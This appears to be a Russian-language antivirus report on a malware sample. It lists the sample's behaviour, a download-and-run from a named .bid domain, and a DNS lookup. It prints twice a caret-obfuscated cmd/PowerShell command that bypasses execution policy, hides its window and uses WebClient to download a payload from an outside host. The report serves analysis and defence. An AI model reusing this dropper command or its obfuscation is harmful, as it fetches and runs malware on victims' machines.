Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://ranumseh.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^oWeRS^HELL^.eX^e ^-^EXeCU^TI^O^NpolIC^Y ^BY^pa^S^s^ -NOPro^FIlE ^-^wInd^ow^stY^L^e^ Hi^D^DE^n (^NeW-Obj^E^CT ^s^YSte^M^.^NEt.wE^bCl^i^ent^)^.^d^OwNloa^dF^Ile('http://ranu...
Сетевая активность
UDP
- DNS ASK ra###seh.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^oWeRS^HELL^.eX^e ^-^EXeCU^TI^O^NpolIC^Y ^BY^pa^S^s^ -NOPro^FIlE ^-^wInd^ow^stY^L^e^ Hi^D^DE^n (^NeW-Obj^E^CT ^s^YSte^M^.^NEt.wE^bCl^i^ent^)^.^d^OwNloa^dF^Ile('http://ranu...' (со скрытым окном)
